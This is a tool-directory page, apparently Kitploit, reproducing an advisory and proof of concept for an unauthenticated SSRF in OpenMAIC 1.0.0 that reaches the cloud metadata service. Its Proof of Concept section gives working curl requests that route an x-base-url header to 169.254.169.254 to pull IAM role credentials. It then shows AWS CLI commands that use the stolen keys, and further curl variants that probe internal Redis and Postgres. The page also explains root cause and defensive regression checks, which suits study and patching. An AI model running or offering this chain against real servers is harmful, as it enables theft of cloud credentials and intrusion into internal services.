Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-86259 — OpenMAIC 1.0.0: Unauthenticated Outbound SSRF to Cloud Metadata Service via Fail-Open Middleware and Environment-Gated Validation Bypass | Kitploit
Tools/GitHubGitHub/uziii2208/cve-2026-86259
Vulnerability AnalysisExploitationServerless SecurityData ExfiltrationInformation GatheringWeb SecurityPenetration TestingCloud SecurityAPI Security
GitHubuziii2208/cve-2026-86259

CVE-2026-86259

OpenMAIC 1.0.0: Unauthenticated Outbound SSRF to Cloud Metadata Service via Fail-Open Middleware and Environment-Gated Validation Bypass

3221 days agoNot yet reviewed
View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-86259 - OpenMAIC 1.0.0: Unauthenticated Outbound SSRF to Cloud Metadata Service via Fail-Open Middleware and Environment-Gated Validation Bypass

Overview

Verified. A two-leg exploit chain exists in OpenMAIC's authentication middleware and outbound provider request layer that allows an unauthenticated remote attacker to make the application server issue arbitrary outbound HTTP requests - including to the cloud Instance Metadata Service (IMDS) at 169.254.169.254 - without possessing any credentials whatsoever.

Leg 1: The Next.js Edge middleware in middleware.ts implements a fail-open posture when the ACCESS_CODE environment variable is absent. In the default .env.example configuration, ACCESS_CODE is unset, meaning all 70 API routes are globally unauthenticated and reachable by any external client.

Leg 2: Across five distinct API route handlers, client-supplied provider base URLs (via x-base-url or baseUrl request parameters) are only passed through validateUrlForSSRF() when process.env.NODE_ENV === 'production'. In any development, staging, preview, or unset environment, the SSRF guard is completely skipped and the application issues an outbound fetch() to the attacker-controlled URL.

Chained together: an unauthenticated attacker supplies x-base-url: http://169.254.169.254/latest/meta-data/iam/security-credentials/ to any generation endpoint, and the server fetches the cloud IAM role credentials and returns them in the response. No prior account, no token, no local foothold required.

Root Cause

The middleware is the sole authentication gate for all API routes. When ACCESS_CODE is not set - the default state per .env.example - every request to every route passes immediately. There is no fallback mechanism, no warning emitted, no alternative auth check. The fail-open is unconditional and silent. This exposes 70 API endpoints including generation, persistence, media proxy, extraction, and AI execution routes to any unauthenticated caller.

The validateUrlForSSRF function in lib/server/ssrf-guard.ts already handles environment-specific exceptions correctly via ALLOW_LOCAL_NETWORKS. The NODE_ENV gate in each route handler is entirely redundant as a dev-mode affordance but catastrophic as a security boundary: it disables SSRF validation globally across staging, preview, CI/CD, and self-hosted deployments where NODE_ENV is not explicitly set to 'production'.

Proof of Concept

Step 1 - Enumerate IMDS roles

curl -s -X POST "https://target.openmaic.example.com/api/generate/image" \
  -H "Content-Type: application/json" \
  -H "x-base-url: http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
  -d '{"prompt": "test", "model": "dall-e-3"}'

Expected response (IMDS passthrough):

ec2-instance-role

Step 2 - Exfiltrate full IAM credentials

curl -s -X POST "https://target.openmaic.example.com/api/generate/image" \
  -H "Content-Type: application/json" \
  -H "x-base-url: http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-instance-role" \
  -d '{"prompt": "test", "model": "dall-e-3"}'

Expected response:

{
  "Code": "Success",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIAXXXXXXXXXXXXXXXXXXX",
  "SecretAccessKey": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
  "Token": "IQoJb3JpZ2luX2VjEA...",
  "Expiration": "2026-09-02T00:30:00Z"
}

Step 3 - Leverage credentials

export AWS_ACCESS_KEY_ID="ASIAXXXXXXXXXXXXXXXXXXX"
export AWS_SECRET_ACCESS_KEY="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEA..."

aws sts get-caller-identity
aws s3 ls
aws iam list-attached-role-policies --role-name ec2-instance-role

Variant - Internal service pivot (Redis, Postgres)

# Redis on default port - RESP protocol response returned in API error
curl -s -X POST "https://target.example.com/api/generate/image" \
  -H "x-base-url: http://127.0.0.1:6379/" \
  -d '{"prompt":"INFO"}'

# PostgreSQL on default port
curl -s -X POST "https://target.example.com/api/generate/image" \
  -H "x-base-url: http://127.0.0.1:5432/" \
  -d '{"prompt":"test"}'

Attack Vector

PhaseStepEffect
1. Unauthenticated IngressRemote client sends HTTP request to /api/generate/image without cookies or tokensmiddleware.ts evaluates !process.env.ACCESS_CODE and invokes NextResponse.next()
2. Header IngestionAttacker specifies target internal address in header: x-base-url: http://169.254.169.254/...Route handler extracts clientBaseUrl from request headers
3. SSRF BypassServer environment has NODE_ENV !== 'production' (e.g., staging or container default)Handler evaluates process.env.NODE_ENV === 'production' to false and skips validateUrlForSSRF()
4. Outbound Request SinkService client initializes with attacker-supplied base URL and executes requestServer performs outbound fetch() to http://169.254.169.254/
5. Metadata ExfiltrationCloud instance metadata service responds with metadata or IAM security credentialsServer incorporates HTTP response body into API return payload or error message
6. Cloud PivotAttacker extracts temporary AWS/GCP/Azure security credentialsAttacker uses cloud credentials externally to access cloud resources and datastores

Preconditions:

  • Application is deployed in an environment without ACCESS_CODE set (default configuration).
  • NODE_ENV is not strictly set to 'production' (e.g., staging, dev, self-hosted, or misconfigured container).
  • Server runs on cloud hosting infrastructure with an accessible metadata endpoint (e.g., EC2 without IMDSv2 token hop limit enforcement).

Verification & Defensive Validation Logic

To confirm reachability and validate security defenses without deploying malicious payloads:

  1. Auth Gate Trace:
    • When process.env.ACCESS_CODE is undefined, middleware.ts returns NextResponse.next(). Sending an HTTP request with no auth headers to any protected endpoint (e.g., POST /api/generate/image) yields an endpoint-level response (e.g., 400/401 for provider configuration) rather than a 401 Access Code Required rejection.
  2. SSRF Guard Execution Trace:
    • With NODE_ENV="staging" or NODE_ENV="development", inspect whether validateUrlForSSRF is called. Because of if (clientBaseUrl && process.env.NODE_ENV === 'production'), execution jumps past the validation block and attempts network connection to the specified base URL.
  3. Defensive Regression Test Model:
    • A mock server or test runner setting NODE_ENV='development' and supplying a loopback URL http://127.0.0.1:9999 verifies whether the request is rejected with INVALID_URL (403) or allowed to proceed to network transport. In the unpatched state, the request attempts socket connection; in the patched state, it is immediately rejected with HTTP 403.

Impact & Blast Radius

Download Tool